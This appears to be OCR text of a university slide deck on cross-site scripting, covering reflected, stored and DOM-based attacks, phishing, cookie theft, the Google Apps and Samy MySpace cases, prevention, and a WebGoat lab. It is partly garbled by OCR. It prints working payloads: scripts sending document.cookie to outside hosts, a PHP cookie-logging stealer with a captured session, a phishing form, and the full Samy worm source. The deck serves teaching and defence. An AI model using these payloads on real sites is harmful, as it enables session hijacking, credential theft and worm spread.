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Intro: What is XSS ?

m Cross-site scripting is a type of computer
security vulnerabillity.

m Typically found in Web-base Applications.

m Code injection by malicious web users.
Examples: HTML or JavaScript code.

m In 2007, 80% of all web page are vulnerable.
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Intro: When is there a XSS
vulnerability”?

m Xss holes: when
developers have a blind
trust in the users.

> Web Server
[ [ ["«._,.II
m It allows malicious users ’f
to by-pass access
controls. You searched for:
<h>
<script>
. alert(’XSS’); ~,
m How can we understand if {;sc,(ipt} } 3)
. /b>: Search f
there is a XSS hole? = iectad HTIL
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Agenda

m Short JavaScript Introdution (just for XSS).

m Different kind of XSS attack:

s Non-Persistent Attack;
m Persistent Attack;
s DOM Based Attack;

m \What can we do with XSS:
= Phishing
m Cookies Stealing

m Real XSS cases:
Google Apps;
MySpace XSS Warm,;

0 Method to avoid XSS.
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JavaScript Introduction

JavaScript

<script type="text/javascript">
document.write('Hello Worid!');
</script>

<noscript>

<p>Your browser either does not support JavaScript, or you
have JavaScript turned off.</p>

</noscript>
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JavaScript Introduction

DOM — Document Object Model

m DOM is a World Wide Web JavaScript
Consortium (W3C) Jscript
specification, which defines the VBScript
object model for representing
XML and HTML structures.

Level 1 » Core, extended interfaces for XML, HTML

Programming

» Core, Views, Events, CSS, Traversal and Languages
Level 2 Range, HTML

» Core, Load and Save, Validation, Events,
Level 3 [
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JavaScript Introduction

DOM Example

=TABLE=
<TABLE>
<TBODY> ¢

Sine TRCDY
<TD>Shady Grove</TD> =R
<TD>Aeolian</TD> \'“-—x_\’

<ITR> "_’_,—’_/-’-

<TR> =TR= =TH:=
<TD>Over the River,

Charlie</TD> o T o \5““1

<TD>Dorian</TD> =T[= <T0= <T0= =T

</TR>

</TBODY>

</TABLE> Shad':.-' ere Aenllan weth;Ewer)
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JavaScript Introduction

AdavascriptAX

~Web Browser f \ {Wab ServerH

CSS

[ JavaScript ]
Document ObjeW >

[XMLl-IttpRﬁq uest] <

\ A \ r

ASP.Net AJAX In Action, Manning (2007)
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JavaScript Introduction
Tom's Halls

A JavaScript Platform Game Engine

Toms HALLS

An experiment in
DOM scripting and TS5

By Tom W Hall 2007
tomshalls@qmail. com

Move: Arrow keys

Jump: Space
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JavaScript Introduction Sitecore CMS

Contact Databases

Newsletters

comu’srtecurefsheﬂ.f defa uh: aspx"‘sc

Iang en

Links Publications Administration

3¢ Deete Contacts
3¢ Delete ContactDatabase
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npart | Expar

\c'aHdate E—maﬂs

WValls

i Al 483 . Motyetvalidated 0 (0%) 53
o Invalid 15 (3,07%) . Valid 474 (96,33%)

b Contact Databases
|l Dv221107

Sign out : infog

Search for Contacts in this Contact Database
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Non-Persistent (or Reflected) Attack

m The most common attack. Considered less dangerous.
Usually used in phishing attempts.

m Attack requires to persuade the victim to click on a
prepared URL (Social Engineering).

m Non valid content:
m Reflected Web Input (form field, hidden field, url, etc...).

m Contents those the browser understand it must execute (es:
<script>...</script>).

m EX: http://www.propmart.com/search/pm |dSearch.asp?
txtPropertyld=&quote;><script>alert(‘:XSS’)</script><span
style=&quote;



<form action="myStealerPage.php"><h1>To access to this information, you must log in before!</h1><br>Username:<input/>Password:<input/><input type="submit"/></form>



Non-Persistent Attack - Example

£ Wells Fargo Home Page - Mozilla Firefox

Filz Edit Viow Co Booxmaks Took Heb

M=

@0

www.vulnerable-site.com?

}(Dl‘sabb"’ _E"i’EE # Forme F‘ﬁlma;es norrration -5 Miscelaneaus = tdine

- Resze  whvaldaton

Search

Help Senter | Cortact Js | ATRF Sankine

WELLS
FARGO
View Your Accounts

1 Us=narme: 2. Zassword:

Ahout ¥ our Mew

Usarramsa Help  Fassword Help Ercoum

| Individuals rSrnaI Eusiness i["tnmn‘mdal.]r-nbnul Wells Fargo

Search forms often
report searched word

Sicres

3 Sicn On fo: : .
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Bankim, Loans & Credit
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S ! [Mora »> More >> Mora »>

In the page.

<script>alert("You have been hacked’)</script>

Script Injection in

Fomiad Brasramioo faiade

~Inish saved

| e
=

| search form
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“[avascript] Pop-Up

', You have been hacked

fo=e e |

=1 Fapaal Housing Lemider

Web Site send the
script to the browser
that execute the code.

Transferring data ffom wallsfargo.com..,

IDE
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Non-Persistent Attack

m |t doesn’'t seem to be more aggressive, because
the pop-up is shown by the same attacker but...

m He can...

m ...steal credential;

...deface a website;

...create a fake page o spam email;
...observe user request;

...and more.
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Persistent (stored) XSS Attacks

m Similar to Non-persistent, but even more
effective

m Stored in the attacked webserver’'s database
Fx in a post in a bulletin board

m [he trusted webpage is no longer to be trusted

m Persistent attacks are unvisible and... persistent!



Example

m Bulletin Board

Person 1 creates a post at the BulletinBoard
including a malicious javascript

ECript=

new Image( ).sro=
"http:Hfhucher.cnmﬁxﬂﬂ.cgi?c:"hencndeUEI{dncument.cnnhie};
</script=

Person 2 reads the post and the javascript is
executed on person 2’'s computer



D -base

DOM-based

a.k.a.
m TypeOl[...]
m [...] of the Third kind
m Local

Type O

SERVER

Type 2

DATASOURCE

Database
File System




Example 1

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf(“name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>

<BR>

Welcome to our system

</HTML>

m  hitp://www.vulnerable.site/welcome.html?name=Joe
m  http://www.vulnerable.site/welcome.html?name= <script>alert(document.cookie)</script>
m  http://www.vulnerable.site/welcome.html?notname=<script>alert(document.cookie)</script>

m  http://www.vulnerable.site/welcome.html?notname=<script>alert(document.cookie)<script>
&name=Joe
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Example 2

<script>
$('[@name="chat"]").click(function ()
{var name = $('[@name="name"]").val();

$('#content > div').fadeOut(null, function ()
{$(this).html('<p>Welcome ' + name + '! You can type your
message into the form below.</p><textarea class="pane">"' +
name + ' &gt;</textarea>');
$(this).fadelIn();

3);

3);
</script>
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Example 2

é Cih Inetpubhwasvrootl csriitrs bkl
File Edit ‘iew Fawvorites Tools  Help
i & fynesome

AWESOME

awesome ajax application

€ Awesome - Windows Internet Explorer

_,5 My Compuker

T, 100%

»

-




D -base

Example 2

€ Awesome - Windows Internet Explorer

& o\ Inetpubwewroaticsriitry . il vl [ #|| x & S i
File Edit ‘iew Fawvorites Tools  Help "';'!.L_-. >
— : - 5
G | 8 Awesome fagi = | g v |k Page - (0F Toolks -

|.:|._.
awesome ajax application

ou cEN tepe your m je jnto the form he

_,:‘ My Compuker J ""., 100% -
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Non-persistent

<script>

var matches = new
String(document.location).match(/[?&]name=([*&]

*)/);

var name = 'qguest’;

if (matches)
name = unescape(matches[1].replace(/\+/g, '"));

$('#content ').html('<p>Welcome ' + name + '! You
can type your message into the form below.</p>
<textarea class="pane">' + name + ' &gt;

< /textarea>");

</script>

Persistent

<script>

var matches = new
String(document.location).match(/[?&]name=([*&]

*)/);

if (matches) {
var name = unescape(matches[1].replace(/\+/g, "

)i

document.cookie = 'name=" + escape(name) +
';expires=Mon, 01-Jan-2010 00:00:00 GMT";
by

else {
var matches = new

String(document.cookie).match(/&?name=([*&]*)/)

if (matches)
var name = unescape(matches[1].replace(/\+/g9g, '

)i

else
var name = 'guest’;

3

$('#content ').htmiI('<p>Welcome ' + name + '! You
can type

your message into the form below.</p><textarea
class="pane">"' + name + ' &gt;

</textarea>');

</script>
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What can you do with Xss Attacks?

m Attackers inject JavaScript, ActiveX, or HTML, into
a vulnerable application, exploiting XSS holes.

m The browser processes the injected code as if it
were legitimate content of the web page - with the
corresponding security permissions.

m Many attack could exploit flaws or vulnerabilities
due to bad programming.

m Pillage of settings and user sensitive information
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Possible Attacks

m Phishing

Criminal fraudulent process of attempting to acquire sensitive information
such as usernames, passwords and credit card details, by masquerading as
a trustworthy entity in an electronic communication or as a business or
individual.

m Cookie Stealing

Cookie is used to manage sessions in browsers. Each person logged in
gets a unique cookie, it is like a key to the site.

m Account hijacking

Term used when malware infiltrates a system without the consent and
performs tasks set by its creator in addition to (or instead of) the system's
normal duties.

m Changing of user settings

A scammer could take information about web sites administrator in order
to access to sensitive data or modifying user settings.
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Phishing

m A reflected Xss Attack, where the phisher can use the embedded
malicious code to pass off misinformation as real content on the web
page being attacked, in order to steal account information.

m Social engineering to appear as a trusted identity.

Browser Reflacted X55 Earer
Database
l The hacked Web application embeds
URL p— the attacking code from the URL into
* * Wab 'ﬂ' their inquiry and "reflects" it back to
application
the user.
L |
Website HTHKIL
* = SErver response *

%Frugramming Brran * Exploit code

m  Why? Steal money, money laundering, online music and other e-
commerce stores, ISP and user accounts: Sensitive information

m How? Sending Spam Email, Fake Web Pages, Code Injection



Ex 1. Message from e-bay member

From: member@ebay.com
Subject: Message from eBay Member
Date: 26 February 2008 19:54:23 GMT
To: fonireland@runningwithbulls.com

eBay sent this messagel

Your registered name is included to show this message originated from eBay, Learn maore

Question from eBay Member -- Respond Now

fo this message.

| Wa are contacting you about the fallowing tem: Toshiba rd-xs54 dvd Recorderw 250 gig hard drive
(#5B56334211)

The saller, karol tells us you have mutually agreed nol to complate the transaction (e.g. becausa you
refumed or are retuming the dem fora retund or because there was a misundarstanding) and has requested
a credit for their eBay fees.

Please respond by 15-Mar-2008 50 eBay knows whetheryou have agreed.
Besl Regards.

Thank you for using eBay
http://www.ebay.com’

| Respond to this question

_R%s_pund Now |

e’

eBay sent this message on behalf of an eBay member via My Messages. Responses sent using emai will not reach the eBay member. Usa the Respond Now button below to respond

I U Marketplace Safety Tip

If this message i an offer lo sellan
itam withaut winning 1 on the eBay
Web site (inciuding Second Chance
Offars sent through My Messages)
rlease do not rezpond to the sender.
Thase extemal tranzactons are

http:/ /202.5.90.139/1T/.cgi-bin/uws/ ikand

ISAPIdIIUPdate/

ISAPIdIISignlnpUserld=co_partnerid=siteid =0p¢ tem hrough
" ageType=-1pal=UsingSSL= bshowgif=favorit/as 5421 25

yGram These
enav=errmsg=8/ nsafe when

paying eomanne yau do not know.

in My Messages.

ls this email inappropriate? Does i
breach eBay paley? Help protect the
community by reparting i.

J

This email is a
masquerade. Once
clicked, you are directed to
an exact clone of eBay and
your personal information
are stolen.

The risk: new owners of
stolen eBay ID’s now have
a positive feedback,
previously generated by
the real owner, and are
now used to scam people.

Sensitive Information is
stolen
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Ex 2: Update Credlt Card Information

:ot-;l:d. E Zm::n:c D:wmﬂ M Forwerd e;o}a(m ank. | P * A neW phIShIng Scam for E bay
e embeds the login form in the
! email

M . .+  Risk: Signing again in a e-bay
pon account, an User could give
e unintentionally sensitive
e B information
LUJ .. = ..|I| j-.-....a:i:. _h.." ..:-

E‘ : u..j..,,u Pasmport usen cligh hars : Lfﬂ

<FORM NAME="ContactForm" ACTION="http://webtools.gmti.com/cgi-
bin/webforms.pl" METHOD="POST">

<INPUT TYPE=hidden NAME=mailto VALUE="phisher@yahoo.com">
<INPUT TYPE=hidden NAME=mailsubject VALUE="Hacked">

<INPUT TYPE=hidden NAME=redirect

VALUE=https://signin.ebay.com/ws/eBaylSAPI.dII?SignIn&pUserld=&...
</FORM>
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Phishing with URL Obfuscation

m Use of IP-Address instead of Domain Name

Ex: www.google.com = 209.85.129.99 (hostname
obfuscation)

m Use of an URL encoded

http://%T77%T7T7%77%2E%67%6F%6F%67%6C%65%2E%
63%6F%6D is the HEX version of www.google.com

m Use of very long addresses
Url exceeds length of Bar- address

m Disguised images and pop-up windows
Fake images overlapping on Bar Address
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Phishing with Man in the middle

aby

_. S ASS _. < K=
” HTTP orHTTPS 2 <" HTTPor HTTPS 5
Attackers Proxy Real Site
Customer Http://www.hacker.com/fake. mybank/ Hitp://www.mybank.com/
Https://www.hacker.com/fake. mybank/ Https://secure.mybank.com/

m The attacker situates themselves between the customer and the real
web-based application, and proxies all communications between the
customer and the real web-based application server.

m In this way, the attacker can observe and record all transactions.

m The customer connects to the attackers server as if it was the real site,
while the attackers server makes a simultaneous connection to the real
site.

m Use of SSL connection: the attackers proxy creates its own SSL
connection between itself and the real server.
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Phishing with Cross-site scripting

Real MyBank Server

hitp:/fwww.mybank.com/
™y

y :.a
/&
A
fy
/! £

g

HTTP Request

Customer
Requesting - http://mybank.com/ebanking ?URL=hitp:/fevilsite.com/phishing/fakepage.htm

=\
)

/g [

>
o
/
.«"" Fi
&

Attackers Code Server
http:/levilsite.com/phishing/fakepage.htm

Content provided by the
I real MyBank server

Fake content from the
| attackers Code server

264 e o e i

b it bk coniehir g AL S e oty

e (N e fpein D g l

,/—

Utra-safe online banking portal

Baon

quard - bevwareof rausters

Wy Bank for International Lisers
demen Lt Lodebied fmels burs - Ges b b Winiel
s S (8 Bt SN M M B Liieis
L T -

L

teanceg
g Silect the grean ‘next’ butten ta continus.

El
ot
NetApg

o Wy Compum

1. The customer has received an

URL via a Phishers email.

The e-banking component will
accept an arbitrary URL for
insertion within the URL field the
returned page.

The attacker has managed to
reference a page under control on
an external server

The attacker could easily
obfuscate it using the techniques
explained earlier.
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Cookie Stealing

m Cookies are used to manage sessions in browsers.

m The attacker try to steal the cookie of another user and
use it to access to a web site (ex: like an administrator).

m [0 steal a cookie can be used both persistent or non-
persistent attacks.

m Ingredient:
m XSS hole;
m JavaScript injection;
m Hosted malicious web page.
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Cookie Stealing

Check thig| out!!!

-ﬁ Verdana - 2 - A - @ - Q - KT |
E—
B J7 U S== ZiEiE @@ ] B # G
<script>
document.location="http://www.myHost.net/stealer.php?cookie='
+ document.cookie 1 <?php
</script> 2 tcookie = & GET['cookie']:
3 $ip = getenv('BEMOTE ADDE');
4 tdate = date("j F, ¥, g:i a"):
5 treferer = getenv('HITE EEFERER'):
] $fp = fopen{'cookies.html', 'a') cor die{("Can't open £ile"):
7 fwrite(sfp, "Cookie: " .%coockie. '<br> IPF: ' .5ip. '"<br> Date:
8 .&date. "<br> REFERER: ' .&referer.'<br><hr>');
i fclose (55p) !
10 header ("Location: http://www.vilnerakleSite.com™);
11 b
1z <html>

13 </html>
File Modifica Visualizza Cronologia Segnalibri  Strumenti 7

T c {nl |i _ | www myHost, netFFDDkies.ht'nl

Cookie: PHPSESSID="Ten6rb5p04gvijhqld01v280l; PHPSESSID=Tentrb3p04gviihgld01iv2801; bblastvisit=1223400172; bblastactivity=0
IP- 130.225.165.18

Date: 7 October, 2008, 7:24 pm

REFEREE.: http-'www vulnerabileSite com/__.
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oogle Apps

Software as a service

m Welcome to GOUSI({

] ﬂ Messaging (M Gmail, G-talk, Google Calendar)
[] fé Collaboration (%DOCS, gP Videos, Sites)

O @ Security



oogle Apps

Closer look in Google docs

& Google Docs - Al items - Mozilla Firefox
File Edit Wiew History Bookmarks  Tools  Help

[ = - f
G - c A Il_é |http:,l',l'dc:cs.google.com,l’#all

b

g0 B - P - PaesBank ooy akatink ] acorll (e Sendtar s (0D Settings-

le <% Bookmarks= | apps |Gl search ~ 4
Goog

| 3 s abback - Googl.,. ] < Gmglé-‘:'ippshltby| W Software as a serv... I @ Google Docs... £ | Unsaved spreadsh... ] S Welcome to Googl... ]

Gmail Calendar Documents Photos FReader “eb more ¥
alx.lazar@gmail.com | Offline | Settings | Offline help | Help

GO gle | ![ search Docs ] Show search options  Saved searches -

| Sign oot

™= 1ia 1 - :_*'Hiﬂﬁ'a_-

g Document 57 | Name Folders / Sharing Date +

OLDER

I Presentation
O g T eesass— 11/15/00 —

Spreadsheet
m Form
| Folder

Fram template. .

= = Allfolders
_| Hems notin folders

# ltermns hy type

= Shared with...
.ﬂ L NIy
4 o ) )

Selact All 1, None Showing items 1-1 of 1

Cone




oogle Apps

In-browser spreadsheet

= L .
& Unsaved spreadsheet - Mozilla Firefox [;] o

File  Edit  W%iew History  Bookmarks  Tools  Help
@ - c (R I__LJ_j -http:Il',l'spreadsheets.gougle.cUmIl'ccc?key=pHV-kHSFX-kJ:kyQR;mK.ﬂHW&th ‘ - @* ,r_
< i '-_i I II I II % x>
Cﬂ-liiglﬁ ‘ﬁ' Bookmarks~ | apps |V| |G Search - .-L @ Eﬁ' A 1 P-ig.'fﬁa-'_?-_'f * % Autolink $_] ButoFill | e Send bor 2> @ Sethings~
I & xss attack- Googl. f" Google Apps hik by‘ \x.' Software as a serv | B Google Docs - Allit... _d Unsaved sp.. E ] S Welcome ko Googl.. | -
GOUSIE Docs miaseeesssssies | New features | Docs Home | Help | Sign Ou
Unsaved spreadsheet " Share~ | Save |
File. Edit Format Inset  Tools  Form Help
Glowy ™ 5 % 123+ iptr B me Av By [ =+ B|S5| £
& B iz 8] E
|Suhiect |E}{am dates
2 System Architecture and Security | 1/8/2003 |
B 14942009 E
4 Advanced Ohject Criented Programming 141272003 !-
5 141342009
3 TA42009
7 141572003
g 141652009
8 Modeling and Design . 1202009
10 _ 142172003
11 142272009
12 193;’2009.
13
14
15
16
i
18
19 el
+ :‘] 111l 5>_|
Add Sheet Sheetl ¥ " Subject
Done
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oogle Apps

Google Apps hit by
session-stealing attack

m Source: InfoWorld April 16, 2008

http://www.infoworld.com/article/08/04/16/Google-Apps-hit-by-session-stealing-attack_1.html

m Billy Rios — researcher
m serious flaw in Google Spreadsheets

m  <<"With this single XSS, | can read your Gmail, backdoor your
source code (code.google.com), steal all your Google Docs, and
basically do whatever | want on Google as if | were you," he said in
a blog post. >>

m <<To carry out the attack, Rios injected HTML into the first cell of a
table, along with Javascript designed to display the user's cookie. |E
then rendered the content as HTML, allowing the cookie to be
viewed. >>

m <<The attack could be delivered via a link to the specially formed
spreadsheet, Rios said.>>



MySpace XSS Worm

m Developed in 2005 by
MySpace user "Samy”.

m Goal: To get more friends
on MySpace.

m How: XSS Javascript
forcing users to become
his friend.

I] classmates-com’
| graduated in:

State: - "|"ear: - GO!

Hormris | Brawse Seateh
||:|¢|< ey

Mail Cégter | RULE
Friend Réguest Manager
i Inbox
Listing 1-10 of 919664
EASau ed
_:;.'-~:-_-:'i_
L Sent I = .
Trash Dt 4,
a O 2005
Bulletin 1022 PM
= Friend
' Requests
Pending
Requests
Event

Invites




" S
Samy Worm Explained

main(){

var AN=getClientFID();

var BH='/index.cfm?fuseaction=user.viewProfilesifriendID="+AN+'&Mytcken="+L;

J=getXMLOb] () ;

httpSend(BH,getHome, 'GET' ) ;

xmlhttp2=getXMLOb]();

httpSend2('/index.cfm?fuseaction=invite.addfriend verify&friendID=11851658&Mytoken="+L,processxForm, 'GET')}

function processxForm() {
if({xmlhttp2.readyState!=4){return}

var AU=xmlhttpl.responseText;

var AQ=getHiddenParameter (AU, 'hashcode’);
var AR=getFromURL (AU, ‘Mytoken');

var AS=new Array|();

AS[ "hashcode ' |=AQ;
AS['friendID'|='11851658";

AS['submit’ )='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcessiMytoken='+AR, nothing, 'POST',paramsToString(AS))
}



<div id=mycode style="BACKGROUND: url(‘java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var
A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmIText}catch(e){}if(C){return C}else{return
eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL (AU, 'friendID");L=getFromURL(AU,'Mytoken")}function
getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;0<F.length;O++){var
I=F[O].split('=");AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=="profile.myspace.com'){document.location="http://www.myspace.com'+location.pathname+location.search
telse{if(IM){getData(g())}main()}function getClientFID(){return findin(g(),'up_launchlIC( '+A,A)}unction nothing(){}function paramsToString(AV){var
N=new String();var O=0;for(var P in AV){if(O>0}{N+='&"}var Q=escape(AV[P]);while(Q.indexOf('+")!=-
1){Q=Q.replace('+','%2B")}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26")}N+=P+'='+Q;O++}return N}function
httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=Bl");J.open(BJ,BH,true);if(BJ=="POST'){J.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function
findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name="+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var
T;if(BG=="Mytoken'){T=B}else{T="&'}var U=BG+'=";var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var
Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new ActiveXObject('MsxmI2.XMLHTTP")}catch(e){try{Z=new

ActiveXObject('Microsoft XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var

AC=AA substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV");var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',At'jav'+'a");AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF="' but most of all, samy is my hero. <d'+'iv
id="+AE+'D'+'IV>"}var AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes’','</td>");AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF ){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel'l='"heroes";AS['submit']="Preview';AS['interest'|=AG;J=getXMLODbj();httpSend(/index.cfm?fuseaction=profile.previewlnter
ests&Mytoken="+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel'l='"heroes";AS['submit']="Submit';AS['interest']|=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuse
action=profile.processinterests&Mytoken="+AR,nothing,'POST', paramsToString(AS))}function main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID="+AN+'&Mytoken="+L;J=getXMLObj();httpSend(BH,getHome,'GET");xmIhttp2=getXMLObj(
);httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken="+L,processxForm,'GET")}function
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658";AS['submit']="Add to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=="POST'}{xmlhttp2.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length’,BK.length)}xmlhttp2.send(BK);return true}"></DIV>
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How can avoid Xss Attacks?

m Create a policy detailing exactly what you will and will not do

m The installation of security tools
It keeps basic computer hygiene in the users’ minds, and they know
they shouldn’t ignore it.

m Filter All Input
Inspect all input, and only allow valid data into your application.

m Don’t be framed

<FRAMESET><FRAME SRC="javascript:alert(‘Malicious
Code');"></FRAMESET>

m Keep the address bar, use SSL, do not use IP addresses
m Disable scripting
Javascript, Flash

m Use Mature Solutions

When possible, use mature, existing solutions instead of trying to create
your own. Functions like strip _tags() and htmlentities() are good
choices.
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Exercise: XSS Attack on WebGoat

m \WebGoat: A deliberately insecure Web
Application.

m Designed to teach Web Application
security concepts.

m \We have installed WebGoat for you!
(maybe =).
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WebGoat: How to install on your laptop

m http://webgoat.googlecode.com

m Download -> WebGoat-OWASP_Standard-5.2.zip

m On Windows:
run the file "webgoat.bat”

m OnOS X:
Start:  sudo sh webgoat.sh start80
Stop:  sudo sh webgoat.sh stop

m Goto: hitp://localhost/\WebGoat/attack (mind the casing)
Username: guest / Password: guest
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The Exercise

m Try to solve as many of the "Cross-Site Scripting (XSS)"
Exercises that you can, but skip the ones that includes some
"blocking"”. To get hints to the exercises you can watch the
"Solution video" above all exercises.

m Tips for exercise "Stage 1":
Try to insert an alert javascript into the Street field of the
"Edit Profile" page.

m Tips for exercise "Stage 5.
Try to insert a hyperlink or javascript into the search field
and see what happens.



